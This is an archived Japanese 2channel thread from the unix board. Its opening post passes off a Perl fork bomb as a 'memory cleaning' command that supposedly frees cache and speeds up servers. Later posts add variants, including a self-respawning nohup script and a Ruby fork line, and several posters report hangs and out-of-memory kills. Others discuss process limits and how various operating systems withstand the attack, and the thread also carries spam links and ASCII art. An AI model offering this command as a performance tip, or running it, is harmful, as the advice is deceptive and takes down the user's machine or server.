トップページunix
659コメント171KB

簡単!メモリクリーニング

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0002名無しさん@お腹いっぱい。NGNG
2
0003名無しさん@お腹いっぱい。NGNG
>>1
自分のPCでは一日一回実行してる。
0004名無しさん@お腹いっぱい。NGNG
3
0005名無しさん@お腹いっぱい。NGNG
>>4
プ
0006(゚∀゚)<さいたま〜 NGNG
                \ │ /
                 / ̄\  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
               ─( ゚ ∀ ゚ )< さいたまさいたま!
                 \_/  \_________
                / │ \
                    ∩ ∧ ∧∩ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ∩∧ ∧∩\( ゚∀゚)< さいたまさいたまさいたま!
さいたま〜〜〜〜! >( ゚∀゚ )/ |    / \__________
________/ |    〈 |   |
              / /\_」 / /\」
               ̄     / /
                    ̄
0007名無しさん@お腹いっぱい。NGNG
                          ∧_∧
                         (    ) >>1

                        //
                      //
                     //
                   //
 ブンッ/  ∧__∧      //
  // / (   ´)  从//
 ( ̄ ̄二⊂   彡⊃ ‘ 、' > カキーン!!
   ̄ ̄   y  人   ⊂ ⊂ )
      ミ(___)__),, (__(__ ̄)
0008名無しさん@お腹いっぱい。NGNG

       「\       .「\ 
       〉 .>      〉 〉
       / /      / /
      /  |        /  |  
      /  /      /  / 
     (  〈 .    /  /. 
      \ `\   |ヽ | >>1
       \  \ /  |  
         ヽ  `´  ノ     
         |    /__
        [二二二二二]
        ‖||| | |‖
        ||||||‖
          ||| | |||
         |||||||
          `ー――´
0009名無しさん@お腹いっぱい。NGNG
Windows XP だけどうまくいなかいぞ。
0010名無しさん@お腹いっぱい。NGNG
>>9
UNIX系って書いているだろ。
0011名無しさん@お腹いっぱい。NGNG
Windows XPってUNIX系OSなんですか?
0012名無しさん@お腹いっぱい。NGNG
まけた…
0013名無しさん@お腹いっぱい。NGNG
>>11
なにをもってUNIXとするかによるけど、POSIX準拠がUNIXの基準なら
Windows NT / Windows 2000 / Windows XP はPOSIX準拠だからUNIXと
いえなくもない。。。
0014名無しさん@お腹いっぱい。NGNG
>>1
あ、ほんとだ、ちょっと早くなったきがする。
0015名無しさん@お腹いっぱい。NGNG
>>13
XPはPOSIXサブシステム外してあるんでなかったっけ?
0016名無しさん@お腹いっぱい。NGNG
みてね、無修正だよ〜♪
http://www1.free-city.net/home/kotarou/page002.html
0017名無しさん@EmacsNGNG
>>1
名前がまちがってるぞ。
「CompJapan」にしろ。
0018名無しさん@お腹いっぱい。NGNG
>>1
へエー、、、メモリってそんなコマンド1つでクリーニングできるとは・・・

今、サーバにアクセスできないからさっそく明日ためしてみよう。
0019あぼーんNGNG
あぼーん
0020名無しさん@お腹いっぱい。NGNG
なぜクリーニングできるんだ?
負荷かけるから?
0021名無しさん@お腹いっぱい。NGNG
いわゆる一つの錆落しですね?
0022名無しさん@お腹いっぱい。NGNG
で、これからどうする? >>1
0023名無しさん@お腹いっぱい。NGNG
VMがうんこなOSは大変だな
0024名無しさん@お腹いっぱい。NGNG
        / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  Λ_Λ  |  オラオラ、
 ( ・∀・)<   精神異常者は消えろ!
 (    )  \_____________
 | | \ \ グリグリ
 (__)  (__)
      (´Д`)ノ ←>>1
0025名無しさん@お腹いっぱい。NGNG
>>13
POSIX準拠なのは2k / NTだけ。
0026あぼーんNGNG
あぼーん
0027 NGNG
>>1 THX 目から鱗でつ
0028すーぱーはかーNGNG
UNIX初心者です。厨な質問で悪いのですが、
perl:command not found
と表示されてしまいます。
OSはTurbo Linux8です。
300MHzのパソコンで使っていて重いので、ぜひメモリーを掃除したいです。
どうかご教示ください
0029すーぱーはかーNGNG
perl:command not found
というのはメモリーが掃除されたといういみなのでしょうか?
0030名無しさん@お腹いっぱい。NGNG
ところで、こういうアホに

 perl -e 'while(1){ fork() && exit }'

てなプログラムを動かされたとして、これをkillする方法ってある?
0031名無しさん@お腹いっぱい。NGNG
perlをkillするプログラムを書き、それをforkしまくる
0032名無しさん@お腹いっぱい。NGNG
マッチポンプだな(w
0033名無しさん@お腹いっぱい。NGNG
すげー!
>>1はスーパーハカー!?
0034名無しさん@お腹いっぱい。NGNG
こんちやっす
自宅サーバーをひそかに内緒でやってたj-comからyahoobbに移したのですが
セキュリティーホールが心配で・・・
せきゅれちーホールありますか?
http://www.musumefan.no-ip.com
0035名無しさん@お腹いっぱい。NGNG
すまそん
いた間違えますた
0036名無しさん@お腹いっぱい。NGNG
root 権限ならともかく、普通はリソース制限掛けるでしょ。
掛かってない鯖はクソ。
0037名無しさん@お腹いっぱい。NGNG
  ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 (`・ω・´) < 復活シャキーン!
 (つ旦と)   \_______________
 と_)_)
0038名無しさん@お腹いっぱい。NGNG
        ショボーンワッショイ!!
     \\  ショボーンワッショイ!! //
 +   + \\ ショボーンワッショイ!!/+
                            +
.   +   ∧_∧ ∧_∧ ∧_∧  +
      (´゚ω・∩(゚ω・∩)(´ ・ω゚)
 +  (( (つ   ノ(つ  丿(つ  つ ))  +
       ヽ  ( ノ ( ヽノ  ) ) )
       (_)し' し(_) (_)_)
0039名無しさん@お腹いっぱい。NGNG
           ./◎)
          /  || 
          /   || シニタクナイヨ・・・・・
           /   |∧_∧
 ショボーン   /    (:.;゚;ω;゚;.:)
   ∧_∧.n    /~~~~~ノJ
   ( ´・ω・`)ノ    Oノ ノ ノ
   (    )      .し' J
   |  |   |      ゚。
   (__)_)     ゜
             。゚
0040あぼーんNGNG
あぼーん
0041名無しさん@お腹いっぱい。NGNG
>>1
なんた、自慢か!?
鯖のcronに加えさせてもらったからな、ふさけるんしゃねぇそ!

0042名無しさん@お腹いっぱい。NGNG
どうなってんだよ〜赤帽8でやったら2日間そのままOut of memory: killed process **** (ABCD)
になっちまったぞ!どう止める?????????????????????????????????????????????????????????・
0043あぼーんNGNG
あぼーん
0044名無しさん@お腹いっぱい。NGNG




        自作自演楽しいか?



0045名無しさん@お腹いっぱい。NGNG
ところでさ。
いまどき>>1でこけるシステムあるの?
0046名無しさん@お腹いっぱい。NGNG
linuxは弱い。ほぼ死ぬ。
0047名無しさん@お腹いっぱい。NGNG
limitで制限かけりゃなんとかなるけど
大抵そんなことしないからなぁ
0048名無しさん@お腹いっぱい。NGNG
copy on writeで実装しているシステムでは絶対大丈夫な解は存在しなかったはず。
solarisは強いと言われているけど、それでも保証できないんじゃないかな?
・・・でもforkだけだとメモリ確保しないから落ちないと思ってたんだけど。
forkしてメモリ確保しておいて、後でおもむろに書き込みとかするとヤバイって思ってた。
0049名無しさん@お腹いっぱい。NGNG
以下>1のように以外に知られていないが、
役に立つコマンドなどを書き込むスレになりました。
0050名無しさん@お腹いっぱい。NGNG
>>46
キター
0051名無しさん@お腹いっぱい。NGNG
やってみたけど、新規にアプリを起動できなくなるだけみたいだけど。
これが「死ぬ」って状態なの?
元々立ち上げてたMozillaは特に問題ないし。2chに書き込める。
0052名無しさん@お腹いっぱい。NGNG
新しくアプリを起動できないのは
最大プロセス数の問題かな。
メモリ食い潰しでもしないかぎりは
Linuxでさえ、落ちたりはしないだろ。

メモリを食い潰し(swapも)てもなお確保しようとような自体になれば
他のOSでもやばいっしょ。
0053名無しさん@お腹いっぱい。NGNG
ってことは>>46の死んだってのは嘘かよ
0054名無しさん@お腹いっぱい。NGNG
>>53
死なないだろ。
つか、死なない。
いちおう試してみた。

Linux 2.4.20 (Gentoo)
Pentium2 233Mhz
mem 128MB

>>46は8年間 コールドスリープしてたんじゃないのか?
0055名無しさん@お腹いっぱい。NGNG
実際、fork するだけなら死なないだろ。
死んだらあまりにもアホ。そんな OS はバカにしていい。

>>48
んなこたぁないだろ。
オーバーコミットしないようにチェックを厳しくすりゃいいだけだろ。
0056名無しさん@お腹いっぱい。NGNG
近頃のOS/マシンはそうそう落ちないだろうが、CPUやバスが貧弱、
メモリも少ない昔のマシンは簡単に落ちた。pingにさえまともに
応答しなくなって、やむなくStop+A。
0057 NGNG
windowsのメモリクリナ-(blueback ⇒ 再起動)に勝てるメモリクリナ-は無い
0058あぼーんNGNG
あぼーん
0059名無しさん@お腹いっぱい。NGNG
>>56
しかし、そうするとファイルシステムまで
吹き飛ぶ罠。
0060名無しさん@お腹いっぱい。NGNG
ウチのレガッタは落ちませんでした。
落ちたらそいつ自身のダンプを取ってやろうとか
思ったんだけどね。

まぁぎりぎりで縮退かかるだけかな…
0061名無しさん@お腹いっぱい。NGNG
1のスクリプトだと固まるには固まるが CTRL+C で脱出できる。
下のやつだと

sh: fork: リソースが一時的に利用できません
/usr/bin/nohup: fork: リソースが一時的に利用できません
sh: fork: リソースが一時的に利用できません

と流れるもののコンソールのもう片方では以下のコマンドが普通にうごく始末。


[root@g /root]# cat test.pl
#!/usr/bin/perl

while(1){
if( ! fork ){
system(" nohup perl ./test.pl & ");
}
}

[root@g /root]# ps ax | wc
2089 12527 83984
[root@g /root]# uname -ar
Linux g.privnet 2.2.18-0vl4.2my #1 2002年 7月 7日(日) 23時32分59秒 JST i686 unknown
[root@g /root]# cat /proc/cpuinfo | grep model
model : 8
model name : Pentium III (Coppermine)
[root@g /root]# cat /proc/cpuinfo | grep MHz
cpu MHz : 847.192
[root@g /root]# ps ax | wc
2089 12527 83984
なーにが Regatta だよ
0062あぼーんNGNG
あぼーん
0063名無しさん@お腹いっぱい。NGNG
for i in `ps ax | grep perl | cut -f1 -d" " `
復旧〜
0064名無しさん@お腹いっぱい。NGNG
>>63
それも途中でコケそう。プロセスいっぱい使うし。
rootでnice値をマイナスにすれば大丈夫か・・・

レガッタってAIXだろ?
006560NGNG
>>64
CPU16個で5%ほど1つのAIXに割り当てて
fork!fork!fork!

でもやっぱ大した事無かったでつよ。
0066名無しさん@お腹いっぱい。NGNG
>>64
いけましたぜ旦那
要は去年の犬糞カーネルでも痛くも痒くもねえって事
それをわざわざ Regatta でやりますかね

メモリー食いつぶすかファイルをひたすらオープンし続けるか
起動しないプロセスを終了しないプロセスが待ち続けつつ増殖するとか
0067名無しさん@お腹いっぱい。NGNG
ためしにやってみました
P55C 200MHz
RedHat8.0 kernel2.4.20-18.8
MEM 128MB

Apache2.0が作動しなくなって
SSHでの接続も出来なくなりました
その後 PPPoEも停止
結局は落ちたも同然の状況
カーソル画面でrootログインを使用とするがPasswd:の返事もない

うーむ、もしかしてLinuxってだめぽ?
それとも漏れの鯖が非力なだけ?
0068名無しさん@お腹いっぱい。NGNG
> うーむ、もしかしてLinuxってだめぽ?
そうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。
0069名無しさん@お腹いっぱい。NGNG
変態forkに負けない
スケジュール優先度の高い専用アカウントを作っておく、とか。
0070名無しさん@お腹いっぱい。NGNG
67でつが
次回はFreeBSDでも入れて試してみます〜
0071名無しさん@お腹いっぱい。NGNG
>>70
だから新しいプロセスが出せないんだって。
limit でもしてなきゃ同じだよ。
0072名無しさん@お腹いっぱい。NGNG
login.conf とかでかなり制限かけないと、
FreeBSDの初期 kern.maxfiles と kern.maxfilesperproc (maxusersで変動)が
思ったよりも近い値になるので、すぐにファイルディスクリプタを使い切りますね。
fork() && socket()ループするとすぐいっぱいになる。
0073名無しさん@お腹いっぱい。NGNG
これだろ
http://purejp.com
0074名無しさん@お腹いっぱい。NGNG
RedHat9で死んだよ
Xeon2.66GHz 512M rootで実行
0075名無しさん@お腹いっぱい。NGNG
おれもやってみたけど、
Linuxだと簡単に死ぬ。
0076名無しさん@お腹いっぱい。NGNG
犬は死ぬ!
必ず死ぬ!
絶対死ぬ!
0077名無しさん@お腹いっぱい。NGNG
>>74-76
( ´,_ゝ`)プッ
0078名無しさん@お腹いっぱい。NGNG
Windows2kだと死なない
>perl -e "while (1) { fork; }"
The Unsupported function fork function is unimplemented at -e line 1.

とても安全だ
0079名無しさん@お腹いっぱい。NGNG
Windows最強説浮上
0080名無しさん@お腹いっぱい。NGNG
漏れのunixも安全ダターヨ

>% perl -e "while (1) { fork; }"
>perl: Command not found.
0081名無しさん@お腹いっぱい。NGNG
[sato@alpha sato]$ ulimit -Ha
core file size (blocks) unlimited
data seg size (kbytes) unlimited
file size (blocks) unlimited
max memory size (kbytes) 3200
stack size (kbytes) 6800
cpu time (seconds) 120
max user processes 2048
pipe size (512 bytes) 8
open files 1024
virtual memory (kbytes) 2103951

Linux . 効果なし。だめぽ〜
0082名無しさん@お腹いっぱい。NGNG
*BSDで試した人いないの?
0083名無しさん@お腹いっぱい。NGNG
>>82
FreeBSD 4.8-STABLE で試した。

何か起動しようとすると、
No more processes.
が出て起動できないが、他は異常なし。

あと、カーネルがこのメッセージを吐いていた。
pmap_collect: collecting pv entries -- suggest increasing PMAP_SHPGPERPROC
0084名無しさん@お腹いっぱい。NGNG
Linuxとかって子プロセスの数の制限ってかけられないの?
0085名無しさん@お腹いっぱい。NGNG
>>82
OpenBSD 3.0 だけど、100 コ以上プロセス起動されたらかなり重くなるけど。
/etc/login.conf でデフォルト maxproc-max=128 の制限があるので落ちることはなかったけど。
0086名無しさん@お腹いっぱい。NGNG
落ちるのはうんこOSということだな
0087名無しさん@お腹いっぱい。NGNG
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
0088名無しさん@お腹いっぱい。NGNG
うんこ → Linux
 ↑    ↓
Linux ← うんこ
0089名無しさん@お腹いっぱい。NGNG
よくわからんな。Linuxでも大丈夫という報告もあるし。
だいたい、死ぬってどういう状態なのかがわからん。
プロセス起動できずにログイン失敗は仕方無い。
ほんとにkernelが固まるのかねえ?
0090名無しさん@お腹いっぱい。NGNG
>>89
さあ。
うちのはvanillaの2.4.21だけどなんともないけどねぇ。
新しくアプリを起動できなくなるだけ。
ディストロ依存じゃねーの?
0091名無しさん@お腹いっぱい。NGNG
これ最強。

$ ruby -e '(1..10).each{ fork }'
0092名無しさん@お腹いっぱい。NGNG
( ´,_ゝ`)ププッ
Linuxってうんこじゃん
0093名無しさん@お腹いっぱい。NGNG
リナックスうんこ説浮上
0094名無しさん@お腹いっぱい。NGNG
FreeBSD 5.1R生存。
実験環境: Pen4 1.7GHz(HT off),Mem 1.2GB
実験経過:
perl -e 'while(1){fork();}'実行直後、maxprocperuidで指定された分を使い果たすまでは
マウスを動かすのでさえ異常に緩慢な動きになる。
しかしながら、使い果たしてからは新しくプロセスを作れないほかは何事も無かったかの
ように動作した。
別のterminalからexec killall perlを実行すると再び若干動作が緩慢になるが、
perlがすべてkillされた時点で通常の動きにすべて回復した。

4.8Rは出ているようなので今度NetBSDでやってみよう。
0095名無しさん@お腹いっぱい。NGNG
>>90
別に犬の方を持つわけではないが、
停止したと**思って**何秒たったらfreezeとみなすかはかなり個人差があると思われるな。
もれは30分放置して操作不能なら死んだと解釈するが。

0096名無しさん@お腹いっぱい。NGNG
>>95
目の前の不全PCと睨めっこ30分とは気が長いですね。
俺はせいぜい3分ですがね。
まあ、運用で一晩気づかない事はあるだろうけど。
0097名無しさん@お腹いっぱい。NGNG
犬房は気が長い(=不感症)説浮上
0098名無しさん@お腹いっぱい。NGNG
>>95
別に固まりもしないんだが。
実行したときにスワップしてカクカクするぐらい。

ってか「死ぬ」っていうのはどういう状態なのよ > 使ってる香具師
0099あぼーんNGNG
あぼーん
0100名無しさん@お腹いっぱい。NGNG
「死ぬ」っていいたいだけちゃうんかと(ry
0101名無しさん@お腹いっぱい。NGNG
Linuxはうんこだから死にます
■ このスレッドは過去ログ倉庫に格納されています